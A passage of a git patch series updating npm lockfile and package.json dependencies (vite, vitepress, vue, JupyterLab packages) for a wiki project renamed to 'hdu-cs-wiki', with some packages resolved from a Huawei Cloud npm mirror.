"sha512-h31UlwEi7FHihLe1zbk+3Q7z1k/84rb9BSwmBSr/XjOCEaBJ2YyedQDuM0t/kfOS0IxM+vk1/zI9XxYj9V+NJQ==", "dev": true, "requires": { "fsevents": "~2.3.2" @@ -4751,18 +4929,6 @@ "postcss": "^8.3.11" } }, - "scheduler": { - "version": "0.20.2", - "resolved": "https://registry.npmmirror.com/scheduler/-/scheduler-0.20.2.tgz", - "integrity": "sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1" - } - }, "shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", @@ -4796,23 +4962,11 @@ "integrity": "sha512-4qdtOGcBjral6YIBCWJ0ljFSKNLz9KkhbWtuGvUyRowl1kxfuE1x/Z/aJcaiilpb3do9bl5K7/1h9XC5wWpY/A==", "dev": true }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, "source-map-js": { "version": "1.0.2", "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.0.2.tgz", "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==" }, - "sourcemap-codec": { - "version": "1.4.8", - "resolved": "https://registry.npmmirror.com/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", - "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", - "dev": true - }, "speech-rule-engine": { "version": "4.0.7", "resolved": "https://registry.npmmirror.com/speech-rule-engine/-/speech-rule-engine-4.0.7.tgz", @@ -4837,6 +4991,12 @@ "resolved": "https://registry.npmmirror.com/style-mod/-/style-mod-4.0.3.tgz", "integrity": "sha512-78Jv8kYJdjbvRwwijtCevYADfsI0lGzYJe4mMFdceO8l75DFFDoqBhR1jVDicDRRaX4//g1u9wKeo+ztc2h1Rw==" }, + "tabbable": { + "version": "6.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/tabbable/-/tabbable-6.1.2.tgz", + "integrity": "sha512-qCN98uP7i9z0fIS4amQ5zbGBOq+OSigYeGvPy7NDk8Y9yncqDZ9pRPgfsc2PJIVM9RrJj7GIfuRgmjoUU9zTHQ==", + "dev": true + }, "tr46": { "version": "0.0.3", "resolved": "https://registry.npmmirror.com/tr46/-/tr46-0.0.3.tgz", @@ -4926,9 +5086,9 @@ "integrity": "sha512-kRAyotcbNaSYoDnXvb4MHg/0a1egJdLwS6oJ38TJY7aw9n93Fl/3blIXdyYvPOp55CNxywooG/3BcrwNrBpcSg==" }, "vite": { - "version": "4.3.4", - "resolved": "https://registry.npmmirror.com/vite/-/vite-4.3.4.tgz", - "integrity": "sha512-f90aqGBoxSFxWph2b39ae2uHAxm5jFBBdnfueNxZAT1FTpM13ccFQExCaKbR2xFW5atowjleRniQ7onjJ22QEg==", + "version": "4.3.9", + "resolved": "https://repo.huaweicloud.com/repository/npm/vite/-/vite-4.3.9.tgz", + "integrity": "sha512-qsTNZjO9NoJNW7KnOrgYwczm0WctJ8m/yqYAMAK9Lxt4SoySUfS5S8ia9K7JHpa3KEeMfyF8LoJ3c5NeBJy6pg==", "dev": true, "requires": { "esbuild": "^0.17.5", @@ -4938,22 +5098,24 @@ } }, "vitepress": { - "version": "1.0.0-alpha.75", - "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-alpha.75.tgz", - "integrity": "sha512-twpPZ/6UnDR8X0Nmj767KwKhXlTQQM9V/J1i2BP9ryO29/w4hpxBfEum6nvfpNhJ4H3h+cIhwzAK/e9crZ6HEQ==", + "version": "1.0.0-beta.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/vitepress/-/vitepress-1.0.0-beta.1.tgz", + "integrity": "sha512-V2yyCwQ+v9fh7rbnGDLp8M7vHa9sLElexXf/JHtBOsOwv7ed9wt1QI4WUagYgKR3TeoJT9v2s6f0UaQSne0EvQ==", "dev": true, "requires": { - "@docsearch/css": "^3.3.4", - "@docsearch/js": "^3.3.4", - "@vitejs/plugin-vue": "^4.2.1", + "@docsearch/css": "^3.3.5", + "@docsearch/js": "^3.3.5", + "@vitejs/plugin-vue": "^4.2.3", "@vue/devtools-api": "^6.5.0", - "@vueuse/core": "^10.1.0", + "@vueuse/core": "^10.1.2", + "@vueuse/integrations": "^10.1.2", "body-scroll-lock": "4.0.0-beta.0", + "focus-trap": "^7.4.2", "mark.js": "8.11.1", - "minisearch": "^6.0.1", + "minisearch": "^6.1.0", "shiki": "^0.14.2", - "vite": "^4.3.3", - "vue": "^3.2.47" + "vite": "^4.3.8", + "vue": "^3.3.4" } }, "vscode-oniguruma": { @@ -4969,16 +5131,16 @@ "dev": true }, "vue": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/vue/-/vue-3.2.47.tgz", - "integrity": "sha512-60188y/9Dc9WVrAZeUVSDxRQOZ+z+y5nO2ts9jWXSTkMvayiWxCWOWtBQoYjLeccfXkiiPZWAHcV+WTPhkqJHQ==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/vue/-/vue-3.3.4.tgz", + "integrity": "sha512-VTyEYn3yvIeY1Py0WaYGZsXnz3y5UnGi62GjVEqvEGPl6nxbOrCXbVOTQWBEJUqAyTUk2uJ5JLVnYJ6ZzGbrSw==", "dev": true, "requires": { - "@vue/compiler-dom": "3.2.47", - "@vue/compiler-sfc": "3.2.47", - "@vue/runtime-dom": "3.2.47", - "@vue/server-renderer": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/compiler-dom": "3.3.4", + "@vue/compiler-sfc": "3.3.4", + "@vue/runtime-dom": "3.3.4", + "@vue/server-renderer": "3.3.4", + "@vue/shared": "3.3.4" } }, "w3c-keyname": { diff --git a/package.json b/package.json index 5566456..41e5192 100644 --- a/package.json +++ b/package.json @@ -14,6 +14,6 @@ "devDependencies": { "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-alpha.75" + "vitepress": "^1.0.0-beta.1" } } \ No newline at end of file From de4332a84eb61ba3d296e0683de93ea4adb28681 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 10 Jun 2023 01:31:20 +0800 Subject: [PATCH 06/85] chore: update dependencies --- package-lock.json | 690 ++++++++++++++++++++-------------------------- package.json | 4 +- 2 files changed, 307 insertions(+), 387 deletions(-) diff --git a/package-lock.json b/package-lock.json index db5c507..bfa4fdb 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,5 +1,5 @@ { - "name": "srt-wiki", + "name": "hdu-cs-wiki", "lockfileVersion": 2, "requires": true, "packages": { @@ -7,8 +7,8 @@ "dependencies": { "@codemirror/lang-python": "^6.1.2", "@codemirror/lang-sql": "^6.5.0", - "@jupyterlab/mathjax2": "^3.6.3", - "@jupyterlab/theme-light-extension": "^4.0.0", + "@jupyterlab/mathjax2": "^3.6.4", + "@jupyterlab/theme-light-extension": "^4.0.2", "markdown-it": "^13.0.1" }, "devDependencies": { @@ -722,20 +722,20 @@ } }, "node_modules/@jupyterlab/application": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/application/-/application-4.0.0.tgz", - "integrity": "sha512-EF2a/etXw1br1EX534J0N/jzwJr0cGvCOKdjULNeZci1SiJYQmwhloGAbe3t6eivrgraSBaPegNfMgYNMeP/Sw==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/application/-/application-4.0.2.tgz", + "integrity": "sha512-sFF2YJBRiJGu6Jx2PE/JRwmwuLTs9eHEoqaZGCD6H4loj8iDlCuwb26JVmbCz94QzgB00KFMYCBV6K7UWhid9g==", "dependencies": { "@fortawesome/fontawesome-free": "^5.12.0", - "@jupyterlab/apputils": "^4.0.0", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/docregistry": "^4.0.0", - "@jupyterlab/rendermime": "^4.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/statedb": "^4.0.0", - "@jupyterlab/translation": "^4.0.0", - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/apputils": "^4.1.2", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/docregistry": "^4.0.2", + "@jupyterlab/rendermime": "^4.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/application": "^2.1.1", "@lumino/commands": "^2.1.1", @@ -754,19 +754,19 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/apputils": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/apputils/-/apputils-4.0.0.tgz", - "integrity": "sha512-jlKy3Z+KcEq+M53xVkGbJmzoeViJDj2uePn0FiElldK5tgZ1MuxM8lWHiuaxtmvnVEwsKJmY4gwC8ZMnikFeug==", + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/apputils/-/apputils-4.1.2.tgz", + "integrity": "sha512-Gj4xd4i+y7j6W1n+cJVA+LBC20fcFUanxDxZfaYwfSFA9b/7ijx3dfw9zRY9taqzBdun17HCjynvLbOJfMwYEg==", "dependencies": { - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/settingregistry": "^4.0.0", - "@jupyterlab/statedb": "^4.0.0", - "@jupyterlab/statusbar": "^4.0.0", - "@jupyterlab/translation": "^4.0.0", - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/settingregistry": "^4.0.2", + "@jupyterlab/statedb": "^4.0.2", + "@jupyterlab/statusbar": "^4.0.2", + "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -786,30 +786,19 @@ "resolved": "https://registry.npmmirror.com/@lumino/coreutils/-/coreutils-2.1.1.tgz", "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, - "node_modules/@jupyterlab/apputils/node_modules/react": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", - "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", - "dependencies": { - "loose-envify": "^1.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/@jupyterlab/codeeditor": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/codeeditor/-/codeeditor-4.0.0.tgz", - "integrity": "sha512-jJLhO18gN+N/gpVUiPGshXiI8hd5qzqIZ4dw9MnFG/nDDL/5rjbCUkEs1X82/0hmQx59k7crfKPfldKdk2DXGw==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/codeeditor/-/codeeditor-4.0.2.tgz", + "integrity": "sha512-7YmKs8litDFfB1oGUcA6SKylx8VnBYDW5fqbLapzhhvBQD5lPK/Gk3vaDF5U8BwsjQqHVeK2+5ZJPYKJYKGzGg==", "dependencies": { "@codemirror/state": "^6.2.0", "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/nbformat": "^4.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/statusbar": "^4.0.0", - "@jupyterlab/translation": "^4.0.0", - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/nbformat": "^4.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/statusbar": "^4.0.2", + "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/dragdrop": "^2.1.1", @@ -824,21 +813,10 @@ "resolved": "https://registry.npmmirror.com/@lumino/coreutils/-/coreutils-2.1.1.tgz", "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, - "node_modules/@jupyterlab/codeeditor/node_modules/react": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", - "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", - "dependencies": { - "loose-envify": "^1.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/@jupyterlab/coreutils": { - "version": "6.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/coreutils/-/coreutils-6.0.0.tgz", - "integrity": "sha512-XDvQsLwjvwtWr2pzcXtLJ1BiHvTOKqw9BmKJ+p9ClvTHq57/5Eo7KUC8vETmfDuLyNOY3fd+l7jw3DpgpsR7iw==", + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/coreutils/-/coreutils-6.0.2.tgz", + "integrity": "sha512-jSGATyE11MuX1gbH/QYJZkYh8ddbV8SdRQ36U5Exy/oAL0ukF6vqfpIpDpo/EAW+p9aDBlSnvi3WtgyVQcltqg==", "dependencies": { "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -854,20 +832,20 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/docregistry": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/docregistry/-/docregistry-4.0.0.tgz", - "integrity": "sha512-pFgJQFoF96aJqE3sCVwkuHVUUb/1rgOrDvffJvQSsuVjhfd0Lm2ufiTb8fAJOXhf700P2d3zwkCayfTR5RDEhQ==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/docregistry/-/docregistry-4.0.2.tgz", + "integrity": "sha512-juWWfov9RK0fuvhj7ckVgmYqiwQPFSoKs040Wv9nppnYDfNJDQQmQMPFlSJA0irZ9AxfTyf1+TjRe+WVQcHvvg==", "dependencies": { "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/apputils": "^4.0.0", - "@jupyterlab/codeeditor": "^4.0.0", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/rendermime": "^4.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/translation": "^4.0.0", - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/apputils": "^4.1.2", + "@jupyterlab/codeeditor": "^4.0.2", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/rendermime": "^4.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/translation": "^4.0.2", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -883,18 +861,18 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/mathjax2": { - "version": "3.6.3", - "resolved": "https://registry.npmmirror.com/@jupyterlab/mathjax2/-/mathjax2-3.6.3.tgz", - "integrity": "sha512-Aju49iHqwvsArc3qvQGDAOpQkpKvHfCXueQX7qJDRBst764jw+NjvWK11ODkRgUwsv0Rxi4YzOT0Z7N6Qnc5Rw==", + "version": "3.6.4", + "resolved": "https://registry.npmmirror.com/@jupyterlab/mathjax2/-/mathjax2-3.6.4.tgz", + "integrity": "sha512-NQKt/u51svG719aIBLipcEopaZNBNuxzzR+J9NNiLTLHT+3Z6iq1N+vs3h9aN2jYyOwtboZesZ2AtGK7KQ/OrA==", "dependencies": { - "@jupyterlab/rendermime-interfaces": "^3.6.3", + "@jupyterlab/rendermime-interfaces": "^3.6.4", "@lumino/coreutils": "^1.11.0" } }, "node_modules/@jupyterlab/nbformat": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/nbformat/-/nbformat-4.0.0.tgz", - "integrity": "sha512-9jqM4MqKcEoLoXZkMBJOPNco0mmmV3IsKYtrQkFRMm6eeYd7xdBsfKCkfvN8msOfyJUgfxXw1RrQA5sLII7g7w==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/nbformat/-/nbformat-4.0.2.tgz", + "integrity": "sha512-K83wDb1iUViTk4mj228SR4E0GPASiykXcD/tVYAOvxWv8TsaZ2UK/dcX4ZtBEZpVqI5enRrq8Z7xISMR+3CRBg==", "dependencies": { "@lumino/coreutils": "^2.1.1" } @@ -905,9 +883,9 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/observables": { - "version": "5.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/observables/-/observables-5.0.0.tgz", - "integrity": "sha512-TQRx+ytZq92Qs022Tg2943hFFKMOykzuw5sXcDqvK7yR3rhvKSOIuCzax9R0AEqUiVULDz6B7azDzfBHTimzZA==", + "version": "5.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/observables/-/observables-5.0.2.tgz", + "integrity": "sha512-mZowpnUrfKqjc2OjwBjI4je2idMaoM3OURCcPMlcCVCZUUiFEB2SOCx8/1jWrotw/er5Cjp7vROZ7Iz8BiIW1g==", "dependencies": { "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", @@ -922,17 +900,17 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/rendermime": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime/-/rendermime-4.0.0.tgz", - "integrity": "sha512-MwJN2gB6cmEBxZ+fkyuZU9CRzI01tHLTVXmTHbjwAVxAQtIrqr9lYhNY0y7iCSej1RgGtiMQDUAa4V2uo4zndw==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime/-/rendermime-4.0.2.tgz", + "integrity": "sha512-x5nPqwGnJCkbS6+jEmhN/fKNSM22DCbO+vwZYAa8dbcL+xURRE7iockxX6cpdHhMNeQ/JlZ5m4HQyTmIzd4N/Q==", "dependencies": { - "@jupyterlab/apputils": "^4.0.0", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/nbformat": "^4.0.0", - "@jupyterlab/observables": "^5.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/translation": "^4.0.0", + "@jupyterlab/apputils": "^4.1.2", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/nbformat": "^4.0.2", + "@jupyterlab/observables": "^5.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/translation": "^4.0.2", "@lumino/coreutils": "^2.1.1", "@lumino/messaging": "^2.0.0", "@lumino/signaling": "^2.1.1", @@ -941,12 +919,12 @@ } }, "node_modules/@jupyterlab/rendermime-interfaces": { - "version": "3.8.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime-interfaces/-/rendermime-interfaces-3.8.0.tgz", - "integrity": "sha512-a+5AABK99DxunPBDIEPWFO2cXT3UqghQ75/k7+9QV0Bf3pqGMzHe5fSk2ZBDeQ+gvTT88yYlL7oxzjzbGzU0Lw==", + "version": "3.8.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/rendermime-interfaces/-/rendermime-interfaces-3.8.2.tgz", + "integrity": "sha512-IOnzA/ccfwXGO/RaWysYn74ojJ7PaH5igTnS0sjo4qIprFZ6tCORTrKF594BA7Qz6PpW2+GpdUVMUnnYdU5R9Q==", "dependencies": { - "@lumino/coreutils": "^2.1.1", - "@lumino/widgets": "^2.1.1" + "@lumino/coreutils": "^1.11.0 || ^2.1.1", + "@lumino/widgets": "^1.37.2 || ^2.1.1" } }, "node_modules/@jupyterlab/rendermime-interfaces/node_modules/@lumino/coreutils": { @@ -960,15 +938,15 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/services": { - "version": "7.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/services/-/services-7.0.0.tgz", - "integrity": "sha512-DPXca4MVuoB4ABAwe/wVazPtOe8E+9JJhgJ5OcOFKYrG98kxcHDFCK9lqSrDxqqJYbz6POF/49yzafoSasTspg==", + "version": "7.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/services/-/services-7.0.2.tgz", + "integrity": "sha512-luhc5wVdojQ0kVM1EMv7HkI6eiEU36Sj69a0vNRFj2U+VcgN9Dicb+vlOZnS1cOOGNhSRjKuaREkXRfEETsq3A==", "dependencies": { "@jupyter/ydoc": "^1.0.2", - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/nbformat": "^4.0.0", - "@jupyterlab/settingregistry": "^4.0.0", - "@jupyterlab/statedb": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/nbformat": "^4.0.2", + "@jupyterlab/settingregistry": "^4.0.2", + "@jupyterlab/statedb": "^4.0.2", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", "@lumino/polling": "^2.1.1", @@ -983,12 +961,12 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/settingregistry": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/settingregistry/-/settingregistry-4.0.0.tgz", - "integrity": "sha512-cWb6nm2mYO8fcPo4vpUMV7qzq8kE1CBGFvBL/Ap0HHP1/4s3yCgEUrzdx+THFq+rWnVTuIL9M/Bgu7VBseAFsw==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/settingregistry/-/settingregistry-4.0.2.tgz", + "integrity": "sha512-c0HrgJescIoEz+DWm1wt7pNYGaMK1kq+7Ask8BRJBWJwwg9RuIrgPUd58Kc14YGNvIvDTPvgltUunhQIBZJQzg==", "dependencies": { - "@jupyterlab/nbformat": "^4.0.0", - "@jupyterlab/statedb": "^4.0.0", + "@jupyterlab/nbformat": "^4.0.2", + "@jupyterlab/statedb": "^4.0.2", "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -1007,9 +985,9 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/statedb": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/statedb/-/statedb-4.0.0.tgz", - "integrity": "sha512-n48x154zuuXnBVXlI0XNoRMrj2p3ubM9dPgfqn4kp12uwnTv7uKpueS3/PF+A0iHP3GZZ9JG+egTchfBjlXu4w==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/statedb/-/statedb-4.0.2.tgz", + "integrity": "sha512-erVHlzJkd8xPsOHyAlImJgOAS9ohq4zRloX2+VMpCJHeYrK5z/KO9mVQlAFFC1JNlm3C3JjnvZBbTAZshzsMHA==", "dependencies": { "@lumino/commands": "^2.1.1", "@lumino/coreutils": "^2.1.1", @@ -1024,11 +1002,11 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/statusbar": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/statusbar/-/statusbar-4.0.0.tgz", - "integrity": "sha512-vstCS5w90CXDMVU6+hZDVakHTzdXKRnv3Yu3vZBAq8vIU5OJIHMw57rLaXLaddGXZzqE+nQVj872vkgnkGx74g==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/statusbar/-/statusbar-4.0.2.tgz", + "integrity": "sha512-5p3tSG/VM8TQ1SDIPRYBK0P2Bh+2VK1eCiCna/Zane3OHZww99JM+7yySiGYffbJuhD5ZHp+a8IYXAbAE5xVOg==", "dependencies": { - "@jupyterlab/ui-components": "^4.0.0", + "@jupyterlab/ui-components": "^4.0.2", "@lumino/algorithm": "^2.0.0", "@lumino/coreutils": "^2.1.1", "@lumino/disposable": "^2.1.1", @@ -1043,36 +1021,25 @@ "resolved": "https://registry.npmmirror.com/@lumino/coreutils/-/coreutils-2.1.1.tgz", "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, - "node_modules/@jupyterlab/statusbar/node_modules/react": { - "version": "18.2.0", - "resolved": "https://registry.npmmirror.com/react/-/react-18.2.0.tgz", - "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", - "dependencies": { - "loose-envify": "^1.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/@jupyterlab/theme-light-extension": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/theme-light-extension/-/theme-light-extension-4.0.0.tgz", - "integrity": "sha512-ijGXJ/BOiIbRmotRO9Pbreg6p6m155E78YNOAr5J/RHX3iG+HvLbUhWd8BE+JAmOJKb4SpnUA6wj1EX/dinMoA==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/theme-light-extension/-/theme-light-extension-4.0.2.tgz", + "integrity": "sha512-HFwCXbe/3u3Feo/XQEN3zd15Hsa2TGgBAVuViZ935BZ0sipATpiNYWAmLx2HBqUisuI/zN6Lrkh8Uw1S73WBOQ==", "dependencies": { - "@jupyterlab/application": "^4.0.0", - "@jupyterlab/apputils": "^4.0.0", - "@jupyterlab/translation": "^4.0.0" + "@jupyterlab/application": "^4.0.2", + "@jupyterlab/apputils": "^4.1.2", + "@jupyterlab/translation": "^4.0.2" } }, "node_modules/@jupyterlab/translation": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/@jupyterlab/translation/-/translation-4.0.0.tgz", - "integrity": "sha512-L+5IsQ89xupLLGQW5uAmQb15L1kXYG3b9+vGrHMtZGL20tk5mYFP79BBdd1H6eK8MGrWFthT56alAsu9QMDwrQ==", + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@jupyterlab/translation/-/translation-4.0.2.tgz", + "integrity": "sha512-EiYk/dt4hBAnrHKw7YXfeKmqvug6bWadQVthY0lRE18FuSKVAOgWv2qRAxOSZEWiFyUjEKutUg5OOms6KCHZFA==", "dependencies": { - "@jupyterlab/coreutils": "^6.0.0", - "@jupyterlab/rendermime-interfaces": "^3.8.0", - "@jupyterlab/services": "^7.0.0", - "@jupyterlab/statedb": "^4.0.0", + "@jupyterlab/coreutils": "^6.0.2", + "@jupyterlab/rendermime-interfaces": "^3.8.2", + "@jupyterlab/services": "^7.0.2", + "@jupyterlab/statedb": "^4.0.2", "@lumino/coreutils": "^2.1.1" } }, @@ -1082,14 +1049,14 @@ "integrity": "sha512-OmEzvphZC/EVpFfwBkmcuzNwKXvkij6gJo1mbf4/tZMC1/8NO3aVnjK1FsgC0TlaGwMD1BLIFgGay2mC/I/cyQ==" }, "node_modules/@jupyterlab/ui-components": { - "version": 